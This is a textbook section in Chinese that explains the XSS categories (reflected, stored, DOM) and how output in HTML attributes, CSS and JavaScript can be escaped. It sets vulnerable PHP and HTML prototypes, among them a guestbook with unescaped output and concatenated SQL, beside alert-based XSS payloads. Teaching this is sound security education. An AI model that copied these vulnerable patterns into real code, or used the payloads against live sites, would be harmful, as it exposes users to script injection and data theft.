3.2 常见XSS漏洞分类
按漏洞成因,一般可以把XSS漏洞分为反射型、存储型、DOM型。
基于上述三种XSS类型,还可以根据输出点的不同,依照输出点的位置分成3类,具体如下。
·输出在HTML属性中。
·输出在CSS代码中。
·输出在JavaScript中。
下面将分别为大家介绍这几种类型。
1.反射型XSS
XSS代码作为客户端输入的内容提交给服务端,服务端解析后,在响应内容中返回输入的XSS代码,最终由浏览器解释执行。原型如下:
<?php echo 'your input:' . $_GET['input']; ?>
客户端输入的input值未经任何过滤便直接输出,所以攻击者可以提交:
http://example.com/xss.php?input=<script>alert(/xss/)</script>
在服务端对客户端输入的内容进行解析后,echo语句会将客户端输入的代码完整地输出到HTTP响应中,浏览器解析并执行,如图3-1所示。
图3-1 反射型XSS示例
注意 上方的example.com是经过Burp进行名称转换到虚拟机的,前文1.1节的Burp工程选项介绍中有提到过。
2.存储型XSS
存储型XSS与反射型XSS的区别主要在于提交的XSS代码是否会存储在服务端,下次请求该网页时是否需要再次提交XSS代码。存储型XSS的典型应用有留言板、在线聊天室、邮件服务等,攻击者提交包含XSS代码的留言后,服务端会将其存储于数据库中,其他用户访问网页查看留言时,服务端将从数据库中查询已有留言并将留言内容输出在HTTP响应中,由浏览器对包含恶意代码的响应进行解析执行。原型如下:
<html> <head> <title>GuestBook v1.0</title> <meta charset="utf-8"> </head> <body> <form method="post"> 昵称:<input type="text" name="nickname"><br> 内容:<textarea name="content"></textarea><br> <input type="submit" name="submit" value="提交留言"> </form> <hr> <?php $conn = mysql_connect("localhost","root","root"); if (!$conn) { die('Could not connect: ' . mysql_error()); } mysql_select_db("guestbook", $conn); if (isset($_POST['submit'])) { $nickname = $_POST['nickname']; $content = $_POST['content']; mysql_query("INSERT INTO guestbook (nickname, content) VALUES ('$nickname', '$content')"); } $result = mysql_query("SELECT * FROM guestbook"); while($row = mysql_fetch_array($result)) { echo $row['nickname'] . ": " . $row['content'] . '<br>'; } mysql_close($conn); ?> </body> </html>
攻击者提交留言<script>alert(/xss/)</script>后,服务端存储留言,其他用户访问网页时执行恶意代码,如图3-2所示。
图3-2 存储型XSS示例
3.DOM XSS
DOM XSS与反射型XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。原型如下:
<html> <head> <title>DOM XSS</title> <meta charset="utf-8"> </head> <body> <div id="area"></div> <script> document.getElementById("area").innerHTML = unescape(location.hash); </script> </body> </html>
代码中服务端未做任何操作,而客户端的JavaScript代码动态地将location.hash赋给document.getElementById("area").innerHTML,导致了这个DOM XSS,使用方法如下:
http://example.com/dom.html#<img src=x onerror='alert(/xss/)'>
执行结果如图3-3所示。
图3-3 DOM XSS示例
4.输出在HTML标签中
原型如下:
<input name="user" value="{{ your input }}"/>
XSS攻击Payload输出在HTML属性中时,攻击者需要在闭合相应的HTML属性后注入新属性,或者在闭合标签后直接注入新标签,如输入:
" onclick="alert(/xxs/)
闭合前面的value属性,注入新的onclick属性,则会输出:
<input name="user" value="" onclick="alert(/xss/)"/>
或输入:
"><script>alert(/xss/)</script>
直接闭合input标签,注入新的script标签,则会输出:
<input name="user" value=""><script>alert(/xss/)</script>"/>
5.输出在CSS代码中
原型如下:
<style type="text/css"> body { color: {{ your input }}; } </style>
XSS攻击Payload输出在CSS代码中时,攻击者需要闭合相应的CSS代码,如输入:
#000; background-image: url('javascript:alert(/xss/)')
闭合前面的color属性,注入background-image属性,则会输出:
<style type="text/css"> body { color: #000; background-image: url('javascript:alert(/xss/)'); } </style>
6.输出在Javascript代码中
原型如下:
<script> var name='{{ your input }}'; </script>
XSS攻击Payload输出在Javascript代码中时,攻击者需要闭合相应的Javascript代码,如输入:
'+alert(/xss/)+'
闭合前面的单引号,注入攻击代码,则会输出:
<script> var name=''+alert(/xss/)+''; </script>